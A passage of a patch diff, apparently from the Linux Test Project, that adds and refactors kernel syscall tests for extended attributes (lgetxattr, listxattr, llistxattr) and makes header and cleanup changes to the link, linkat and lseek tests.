+* Author: Jinbao Huang <huangjb.jy@cn.fujitsu.com>
+*
+* This program is free software; you can redistribute it and/or modify it
+* under the terms of version 2 of the GNU General Public License as
+* published by the Free Software Foundation.
+*
+* This program is distributed in the hope that it would be useful, but
+* WITHOUT ANY WARRANTY; without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+*
+* You should have received a copy of the GNU General Public License
+* alone with this program.
+*
+*/
+
+/*
+* Test Name: lgetxattr02
+*
+* Description:
+* 1) lgetxattr(2) fails if the named attribute does not exist.
+* 2) lgetxattr(2) fails if the size of the value buffer is too small
+*    to hold the result.
+* 3) lgetxattr(2) fails when attemptes to read from a invalid address.
+*
+* Expected Result:
+* 1) lgetxattr(2) should return -1 and set errno to ENODATA.
+* 2) lgetxattr(2) should return -1 and set errno to ERANGE.
+* 3) lgetxattr(2) should return -1 and set errno to EFAULT.
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <string.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY	"security.ltptest"
+#define VALUE	"this is a test value"
+
+static struct test_case {
+	const char *path;
+	size_t size;
+	int exp_err;
+} tcase[] = {
+	{"testfile", sizeof(VALUE), ENODATA},
+	{"symlink", 1, ERANGE},
+	{(char *)-1, sizeof(VALUE), EFAULT}
+};
+
+static void verify_lgetxattr(unsigned int n)
+{
+	struct test_case *tc = tcase + n;
+	char buf[tc->size];
+
+	TEST(lgetxattr(tc->path, SECURITY_KEY, buf, sizeof(buf)));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "lgetxattr() succeeded unexpectedly");
+		return;
+	}
+
+	if (TEST_ERRNO != tc->exp_err) {
+		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedlly, "
+			"expected %s", tst_strerrno(tc->exp_err));
+	} else {
+		tst_res(TPASS | TTERRNO, "lgetxattr() failed as expected");
+	}
+}
+
+static void setup(void)
+{
+	int res;
+
+	SAFE_TOUCH("testfile", 0644, NULL);
+	SAFE_SYMLINK("testfile", "symlink");
+
+	res = lsetxattr("symlink", SECURITY_KEY, VALUE, strlen(VALUE), XATTR_CREATE);
+	if (res == -1) {
+		if (errno == ENOTSUP) {
+			tst_brk(TCONF, "no xattr support in fs or "
+				"mounted without user_xattr option");
+		} else {
+			tst_brk(TBROK | TERRNO, "lsetxattr(%s) failed",
+				SECURITY_KEY);
+		}
+	}
+}
+
+static struct tst_test test = {
+	.tid = "lgetxattr02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_lgetxattr,
+	.tcnt = ARRAY_SIZE(tcase),
+	.setup = setup
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/link/link02.c b/testcases/kernel/syscalls/link/link02.c
index 9f8cd76..6ac340c 100644
--- a/testcases/kernel/syscalls/link/link02.c
+++ b/testcases/kernel/syscalls/link/link02.c
@@ -38,7 +38,7 @@
  */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/link/link03.c b/testcases/kernel/syscalls/link/link03.c
index b6c4809..1f45240 100644
--- a/testcases/kernel/syscalls/link/link03.c
+++ b/testcases/kernel/syscalls/link/link03.c
@@ -39,7 +39,7 @@
   */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/link/link04.c b/testcases/kernel/syscalls/link/link04.c
index 8296eba..679753f 100644
--- a/testcases/kernel/syscalls/link/link04.c
+++ b/testcases/kernel/syscalls/link/link04.c
@@ -41,7 +41,7 @@
  * of who executed it (i.e. joe-user or root)
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/link/link05.c b/testcases/kernel/syscalls/link/link05.c
index 3867632..3b42217 100644
--- a/testcases/kernel/syscalls/link/link05.c
+++ b/testcases/kernel/syscalls/link/link05.c
@@ -38,7 +38,7 @@
  */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/linkat/linkat01.c b/testcases/kernel/syscalls/linkat/linkat01.c
index fc0687b..6772a6b 100644
--- a/testcases/kernel/syscalls/linkat/linkat01.c
+++ b/testcases/kernel/syscalls/linkat/linkat01.c
@@ -49,7 +49,6 @@
 #include <sys/time.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
@@ -58,7 +57,6 @@
 #include <limits.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
-#include "rmobj.h"
 #include "safe_macros.h"
 
 #ifndef AT_FDCWD
@@ -191,14 +189,6 @@
 char *TCID = "linkat01";
 int TST_TOTAL = sizeof(test_desc) / sizeof(*test_desc);
 
-#define SUCCEED_OR_DIE(syscall, message, ...)		\
-	(errno = 0,					\
-	 ({int ret=syscall(__VA_ARGS__);		\
-	 if (ret==-1)					\
-		tst_brkm(TBROK | TERRNO, cleanup,	\
-			message, __VA_ARGS__);		\
-	 ret; }))
-
 static int mylinkat(int olddirfd, const char *oldfilename, int newdirfd,
 		    const char *newfilename, int flags)
 {
@@ -239,11 +229,11 @@
 static void setup_every_copy(void)
 {
 	close(newdirfd);
-	rmobj(TEST_DIR2, NULL);
+	unlink(dpathname);
+	rmdir(TEST_DIR2);
 
-	SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed", TEST_DIR2, 0700);
-	newdirfd = SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed",
-				  TEST_DIR2, O_DIRECTORY);
+	SAFE_MKDIR(cleanup, TEST_DIR2, 0700);
+	newdirfd = SAFE_OPEN(cleanup, TEST_DIR2, O_DIRECTORY);
 }
 
 static void mylinkat_test(struct test_struct *desc)
@@ -298,42 +288,31 @@
 void setup(void)
 {
 	char *cwd;
+	int fd;
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	tst_tmpdir();
 
 	cwd = get_current_dir_name();
-	if (cwd == NULL)
+	if (cwd == NULL) {
 		tst_brkm(TFAIL | TERRNO, cleanup,
 			 "Failed to get current working directory");
-	else {
-
-		SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed", TEST_DIR1, 0700);
-		SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed", TEST_DIR3, 0700);
-		olddirfd = SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed",
-					  TEST_DIR1, O_DIRECTORY);
-		deldirfd = SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed",
-					  TEST_DIR3, O_DIRECTORY);
-		SUCCEED_OR_DIE(rmdir, "rmdir(%s) failed", TEST_DIR3);
-		SUCCEED_OR_DIE(close, "close(%d) failed",
-			       SUCCEED_OR_DIE(open, "open(%s, 0x%x, %o) "
-					      "failed",
-					      TEST_DIR1 "/" TEST_FILE1,
-					      O_CREAT | O_EXCL, 0600));
-
-		SUCCEED_OR_DIE(mkfifo, "mkfifo(%s, %o) failed",
-			       TEST_DIR1 "/" TEST_FIFO, 0600);
-
-		snprintf(dpathname, sizeof(dpathname), DPATHNAME_FMT, cwd);
-		snprintf(spathname, sizeof(spathname), SPATHNAME_FMT, cwd);
-
-		free(cwd);
-
-		TEST_PAUSE;
-
 	}
 
+	SAFE_MKDIR(cleanup, TEST_DIR1, 0700);
+	SAFE_MKDIR(cleanup, TEST_DIR3, 0700);
+	olddirfd = SAFE_OPEN(cleanup, TEST_DIR1, O_DIRECTORY);
+	deldirfd = SAFE_OPEN(cleanup, TEST_DIR3, O_DIRECTORY);
+	SAFE_RMDIR(cleanup, TEST_DIR3);
+	fd = SAFE_OPEN(cleanup, TEST_DIR1 "/" TEST_FILE1, O_CREAT | O_EXCL, 0600);
+	SAFE_CLOSE(cleanup, fd);
+	SAFE_MKFIFO(cleanup, TEST_DIR1 "/" TEST_FIFO, 0600);
+
+	snprintf(dpathname, sizeof(dpathname), DPATHNAME_FMT, cwd);
+	snprintf(spathname, sizeof(spathname), SPATHNAME_FMT, cwd);
+
+	free(cwd);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/linkat/linkat02.c b/testcases/kernel/syscalls/linkat/linkat02.c
index 5fdf7e2..6766b5a 100644
--- a/testcases/kernel/syscalls/linkat/linkat02.c
+++ b/testcases/kernel/syscalls/linkat/linkat02.c
@@ -23,7 +23,6 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/listxattr/Makefile b/testcases/kernel/syscalls/listxattr/Makefile
new file mode 100644
index 0000000..b794ec0
--- /dev/null
+++ b/testcases/kernel/syscalls/listxattr/Makefile
@@ -0,0 +1,23 @@
+#
+#  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+#  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+#
+#  This program is free software;  you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+#  the GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program.
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/listxattr/listxattr01.c b/testcases/kernel/syscalls/listxattr/listxattr01.c
new file mode 100644
index 0000000..7ab3c1f
--- /dev/null
+++ b/testcases/kernel/syscalls/listxattr/listxattr01.c
@@ -0,0 +1,95 @@
+/*
+*  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+*  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+*  This program is free software;  you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+*  the GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program.
+*/
+
+/*
+* Test Name: listxattr01
+*
+* Description:
+* The testcase checks the basic functionality of the listxattr(2).
+* listxattr(2) retrieves the list of extended attribute names
+* associated with the file itself in the filesystem.
+*
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <string.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY1	"security.ltptest1"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+#define KEY_SIZE    (sizeof(SECURITY_KEY1) - 1)
+#define TESTFILE    "testfile"
+
+static int has_attribute(const char *list, int llen, const char *attr)
+{
+	int i;
+
+	for (i = 0; i < llen; i += strlen(list + i) + 1) {
+		if (!strcmp(list + i, attr))
+			return 1;
+	}
+	return 0;
+}
+
+static void verify_listxattr(void)
+{
+	char buf[64];
+
+	TEST(listxattr(TESTFILE, buf, sizeof(buf)));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "listxattr() failed");
+		return;
+	}
+
+	if (!has_attribute(buf, sizeof(buf), SECURITY_KEY1)) {
+		tst_res(TFAIL, "missing attribute %s",
+			 SECURITY_KEY1);
+		return;
+	}
+
+	tst_res(TPASS, "listxattr() succeeded");
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(TESTFILE, 0644, NULL);
+
+	SAFE_SETXATTR(TESTFILE, SECURITY_KEY1, VALUE, VALUE_SIZE, XATTR_CREATE);
+}
+
+static struct tst_test test = {
+	.tid = "listxattr01",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test_all = verify_listxattr,
+	.setup = setup,
+};
+
+#else
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif /* HAVE_SYS_XATTR_H */
diff --git a/testcases/kernel/syscalls/listxattr/listxattr02.c b/testcases/kernel/syscalls/listxattr/listxattr02.c
new file mode 100644
index 0000000..fa73532
--- /dev/null
+++ b/testcases/kernel/syscalls/listxattr/listxattr02.c
@@ -0,0 +1,109 @@
+/*
+*  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+*  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+*  This program is free software;  you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+*  the GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program.
+*/
+
+/*
+* Test Name: listxattr02
+*
+* Description:
+* 1) listxattr(2) fails if the size of the list buffer is too small
+* to hold the result.
+* 2) listxattr(2) fails if path is an empty string.
+* 3) listxattr(2) fails when attempted to read from a invalid address.
+* 4) listxattr(2) fails if path is longer than allowed.
+*
+* Expected Result:
+* 1) listxattr(2) should return -1 and set errno to ERANGE.
+* 2) listxattr(2) should return -1 and set errno to ENOENT.
+* 3) listxattr(2) should return -1 and set errno to EFAULT.
+* 4) listxattr(2) should return -1 and set errno to ENAMETOOLONG.
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY	"security.ltptest"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+#define TESTFILE    "testfile"
+
+char longpathname[PATH_MAX + 2];
+
+static struct test_case {
+	const char *path;
+	size_t size;
+	int exp_err;
+} tc[] = {
+	{TESTFILE, 1, ERANGE},
+	{"", 20, ENOENT},
+	{(char *)-1, 20, EFAULT},
+	{longpathname, 20, ENAMETOOLONG}
+};
+
+static void verify_listxattr(unsigned int n)
+{
+	struct test_case *t = tc + n;
+	char buf[t->size];
+
+	TEST(listxattr(t->path, buf, sizeof(buf)));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL,
+			"listxattr() succeeded unexpectedly (returned %ld)",
+			TEST_RETURN);
+		return;
+	}
+
+	if (t->exp_err != TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "listxattr() failed "
+			 "unexpectedlly, expected %s",
+			 tst_strerrno(t->exp_err));
+	} else {
+		tst_res(TPASS | TTERRNO,
+			 "listxattr() failed as expected");
+	}
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(TESTFILE, 0644, NULL);
+
+	SAFE_SETXATTR(TESTFILE, SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
+
+	memset(&longpathname, 'a', sizeof(longpathname) - 1);
+}
+
+static struct tst_test test = {
+	.tid = "listxattr02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_listxattr,
+	.tcnt = ARRAY_SIZE(tc),
+	.setup = setup,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/listxattr/listxattr03.c b/testcases/kernel/syscalls/listxattr/listxattr03.c
new file mode 100644
index 0000000..5536084
--- /dev/null
+++ b/testcases/kernel/syscalls/listxattr/listxattr03.c
@@ -0,0 +1,91 @@
+/*
+*  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+*  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+*  This program is free software;  you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+*  the GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program.
+*/
+
+/*
+* Test Name: listxattr03
+*
+* Description:
+* An empty buffer of size zero can return the current size of the list
+* of extended attribute names, which can be used to estimate a suitable buffer.
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY	"security.ltptest"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+
+static const char * const filename[] = {"testfile1", "testfile2"};
+
+static int check_suitable_buf(const char *name, long size)
+{
+	int n;
+	char buf[size];
+
+	n = listxattr(name, buf, sizeof(buf));
+
+	return n != -1;
+}
+
+static void verify_listxattr(unsigned int n)
+{
+	const char *name = filename[n];
+
+	TEST(listxattr(name, NULL, 0));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "listxattr() failed");
+		return;
+	}
+
+	if (check_suitable_buf(name, TEST_RETURN))
+		tst_res(TPASS, "listxattr() succeed with suitable buffer");
+	else
+		tst_res(TFAIL, "listxattr() failed with small buffer");
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(filename[0], 0644, NULL);
+
+	SAFE_TOUCH(filename[1], 0644, NULL);
+
+	SAFE_SETXATTR(filename[1], SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
+}
+
+static struct tst_test test = {
+	.tid = "listxattr03",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_listxattr,
+	.tcnt = ARRAY_SIZE(filename),
+	.setup = setup,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr01.c b/testcases/kernel/syscalls/llistxattr/llistxattr01.c
index f543a97..0176893 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr01.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr01.c
@@ -29,40 +29,22 @@
 #include <sys/types.h>
 #include <string.h>
 
-#ifdef HAVE_ATTR_XATTR_H
-# include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 
 #include "tst_test.h"
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 
-#define SECURITY_KEY1	"security.ltptest1"
-#define SECURITY_KEY2	"security.ltptest2"
-#define VALUE	"test"
-#define VALUE_SIZE	4
-#define KEY_SIZE    17
+#define SECURITY_KEY1   "security.ltptest1"
+#define SECURITY_KEY2   "security.ltptest2"
+#define VALUE           "test"
+#define VALUE_SIZE      (sizeof(VALUE) - 1)
+#define KEY_SIZE        (sizeof(SECURITY_KEY1) - 1)
+#define TESTFILE        "testfile"
+#define SYMLINK         "symlink"
 
-static void set_xattr(const char *path, const char *key)
-{
-	int n;
-
-	n = lsetxattr(path, key, VALUE, VALUE_SIZE, XATTR_CREATE);
-	if (n == -1) {
-		if (errno == ENOTSUP) {
-			tst_brk(TCONF,
-				 "no xattr support in fs or mounted "
-				 "without user_xattr option");
-		}
-
-		if (errno == EEXIST) {
-			tst_brk(TBROK, "exist attribute %s", key);
-		} else {
-			tst_brk(TBROK | TERRNO,
-				 "lsetxattr() failed");
-		}
-	}
-}
 
 static int has_attribute(const char *list, int llen, const char *attr)
 {
@@ -77,22 +59,21 @@
 
 static void verify_llistxattr(void)
 {
-	int size = 64;
-	char buf[size];
+	char buf[64];
 
-	TEST(llistxattr("symlink", buf, size));
+	TEST(llistxattr(SYMLINK, buf, sizeof(buf)));
 	if (TEST_RETURN == -1) {
-		tst_res(TFAIL | TERRNO, "llistxattr() failed");
+		tst_res(TFAIL | TTERRNO, "llistxattr() failed");
 		return;
 	}
 
-	if (has_attribute(buf, size, SECURITY_KEY1)) {
+	if (has_attribute(buf, sizeof(buf), SECURITY_KEY1)) {
 		tst_res(TFAIL, "get file attribute %s unexpectlly",
 			 SECURITY_KEY1);
 		return;
 	}
 
-	if (!has_attribute(buf, size, SECURITY_KEY2)) {
+	if (!has_attribute(buf, sizeof(buf), SECURITY_KEY2)) {
 		tst_res(TFAIL, "missing attribute %s", SECURITY_KEY2);
 		return;
 	}
@@ -102,13 +83,13 @@
 
 static void setup(void)
 {
-	SAFE_TOUCH("testfile", 0644, NULL);
+	SAFE_TOUCH(TESTFILE, 0644, NULL);
 
-	SAFE_SYMLINK("testfile", "symlink");
+	SAFE_SYMLINK(TESTFILE, SYMLINK);
 
-	set_xattr("testfile", SECURITY_KEY1);
+	SAFE_LSETXATTR(TESTFILE, SECURITY_KEY1, VALUE, VALUE_SIZE, XATTR_CREATE);
 
-	set_xattr("symlink", SECURITY_KEY2);
+	SAFE_LSETXATTR(SYMLINK, SECURITY_KEY2, VALUE, VALUE_SIZE, XATTR_CREATE);
 }
 
 static struct tst_test test = {
@@ -120,6 +101,6 @@
 };
 
 #else
-	TST_TEST_TCONF("<attr/xattr.h> does not exist.");
-#endif /* HAVE_ATTR_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif /* HAVE_SYS_XATTR_H */
 
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr02.c b/testcases/kernel/syscalls/llistxattr/llistxattr02.c
index 6aede03..06b15d1 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr02.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr02.c
@@ -22,40 +22,44 @@
 * to hold the result.
 * 2) llistxattr(2) fails if path is an empty string.
 * 3) llistxattr(2) fails when attempted to read from a invalid address.
+* 4) llistxattr(2) fails if path is longer than allowed.
 *
 * Expected Result:
 * 1) llistxattr(2) should return -1 and set errno to ERANGE.
 * 2) llistxattr(2) should return -1 and set errno to ENOENT.
 * 3) llistxattr(2) should return -1 and set errno to EFAULT.
+* 4) llistxattr(2) should return -1 and set errno to ENAMETOOLONG.
 */
 
 #include "config.h"
 #include <errno.h>
 #include <sys/types.h>
 
-#ifdef HAVE_ATTR_XATTR_H
-# include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 
 #include "tst_test.h"
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 
-#define SECURITY_KEY	"security.ltptest"
-#define VALUE	"test"
-#define VALUE_SIZE	4
+#define SECURITY_KEY    "security.ltptest"
+#define VALUE           "test"
+#define VALUE_SIZE      (sizeof(VALUE) - 1)
+#define TESTFILE        "testfile"
+#define SYMLINK         "symlink"
+
+static char longpathname[PATH_MAX + 2];
 
 static struct test_case {
 	const char *path;
 	size_t size;
 	int exp_err;
 } tc[] = {
-	/* test1 */
-	{"symlink", 1, ERANGE},
-	/* test2 */
+	{SYMLINK, 1, ERANGE},
 	{"", 20, ENOENT},
-	/* test3 */
-	{(char *)-1, 20, EFAULT}
+	{(char *)-1, 20, EFAULT},
+	{longpathname, 20, ENAMETOOLONG}
 };
 
 static void verify_llistxattr(unsigned int n)
@@ -63,38 +67,33 @@
 	struct test_case *t = tc + n;
 	char buf[t->size];
 
-	TEST(llistxattr(t->path, buf, t->size));
+	TEST(llistxattr(t->path, buf, sizeof(buf)));
 	if (TEST_RETURN != -1) {
-		tst_res(TFAIL, "llistxattr() succeeded unexpectedly");
+		tst_res(TFAIL,
+			"llistxattr() succeeded unexpectedly (returned %ld)",
+			TEST_RETURN);
+		return;
+	}
+
+	if (TEST_ERRNO != t->exp_err) {
+		tst_res(TFAIL | TTERRNO, "llistxattr() failed "
+			 "unexpectedlly, expected %s",
+			 tst_strerrno(t->exp_err));
 	} else {
-		if (TEST_ERRNO != t->exp_err) {
-			tst_res(TFAIL | TTERRNO, "llistxattr() failed "
-				 "unexpectedlly, expected %s",
-				 tst_strerrno(t->exp_err));
-		} else {
-			tst_res(TPASS | TTERRNO,
-				 "llistxattr() failed as expected");
-		}
+		tst_res(TPASS | TTERRNO,
+			 "llistxattr() failed as expected");
 	}
 }
 
 static void setup(void)
 {
-	int n;
+	SAFE_TOUCH(TESTFILE, 0644, NULL);
 
-	SAFE_TOUCH("testfile", 0644, NULL);
+	SAFE_SYMLINK(TESTFILE, SYMLINK);
 
-	SAFE_SYMLINK("testfile", "symlink");
+	SAFE_LSETXATTR(SYMLINK, SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
 
-	n = lsetxattr("symlink", SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
-	if (n == -1) {
-		if (errno == ENOTSUP) {
-			tst_brk(TCONF, "no xattr support in fs or "
-				 "mounted without user_xattr option");
-		} else {
-			tst_brk(TBROK | TERRNO, "lsetxattr() failed");
-		}
-	}
+	memset(longpathname, 'a', sizeof(longpathname) - 1);
 }
 
 static struct tst_test test = {
@@ -106,6 +105,6 @@
 	.setup = setup,
 };
 
-#else /* HAVE_ATTR_XATTR_H */
-	TST_TEST_TCONF("<attr/xattr.h> does not exist.");
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
 #endif
diff --git a/testcases/kernel/syscalls/llistxattr/llistxattr03.c b/testcases/kernel/syscalls/llistxattr/llistxattr03.c
index 5513019..6a1cb6b 100644
--- a/testcases/kernel/syscalls/llistxattr/llistxattr03.c
+++ b/testcases/kernel/syscalls/llistxattr/llistxattr03.c
@@ -27,17 +27,17 @@
 #include <errno.h>
 #include <sys/types.h>
 
-#ifdef HAVE_ATTR_XATTR_H
-# include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+#include <sys/xattr.h>
 #endif
 
 #include "tst_test.h"
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 
 #define SECURITY_KEY	"security.ltptest"
-#define VALUE	"test"
-#define VALUE_SIZE	4
+#define VALUE           "test"
+#define VALUE_SIZE      (sizeof(VALUE) - 1)
 
 static const char *filename[] = {"testfile1", "testfile2"};
 
@@ -46,11 +46,9 @@
 	int n;
 	char buf[size];
 
-	n = llistxattr(name, buf, size);
-	if (n == -1)
-		return 0;
-	else
-		return 1;
+	n = llistxattr(name, buf, sizeof(buf));
+
+	return n != -1;
 }
 
 static void verify_llistxattr(unsigned int n)
@@ -59,7 +57,7 @@
 
 	TEST(llistxattr(name, NULL, 0));
 	if (TEST_RETURN == -1) {
-		tst_res(TFAIL | TERRNO, "llistxattr() failed");
+		tst_res(TFAIL | TTERRNO, "llistxattr() failed");
 		return;
 	}
 
@@ -71,25 +69,15 @@
 
 static void setup(void)
 {
-	int ret;
-
 	SAFE_TOUCH(filename[0], 0644, NULL);
 
 	SAFE_TOUCH(filename[1], 0644, NULL);
 
-	ret = lsetxattr(filename[1], SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
-	if (ret == -1) {
-		if (errno == ENOTSUP) {
-			tst_brk(TCONF, "no xattr support in fs or "
-				 "mounted without user_xattr option");
-		} else {
-			tst_brk(TBROK | TERRNO, "lsetxattr() failed");
-		}
-	}
+	SAFE_LSETXATTR(filename[1], SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
 }
 
 static struct tst_test test = {
-	.tid = "llistxattr02",
+	.tid = "llistxattr03",
 	.needs_tmpdir = 1,
 	.needs_root = 1,
 	.test = verify_llistxattr,
@@ -97,6 +85,6 @@
 	.setup = setup,
 };
 
-#else /* HAVE_ATTR_XATTR_H */
-	TST_TEST_TCONF("<attr/xattr.h> does not exist.");
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
 #endif
diff --git a/testcases/kernel/syscalls/lseek/lseek01.c b/testcases/kernel/syscalls/lseek/lseek01.c
index 9135a87..a5f8524 100644
--- a/testcases/kernel/syscalls/lseek/lseek01.c
+++ b/testcases/kernel/syscalls/lseek/lseek01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/lseek/lseek02.c b/testcases/kernel/syscalls/lseek/lseek02.c
index 8d11bdb..0efc691 100644
--- a/testcases/kernel/syscalls/lseek/lseek02.c
+++ b/testcases/kernel/syscalls/lseek/lseek02.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/lseek/lseek04.c b/testcases/kernel/syscalls/lseek/lseek04.c
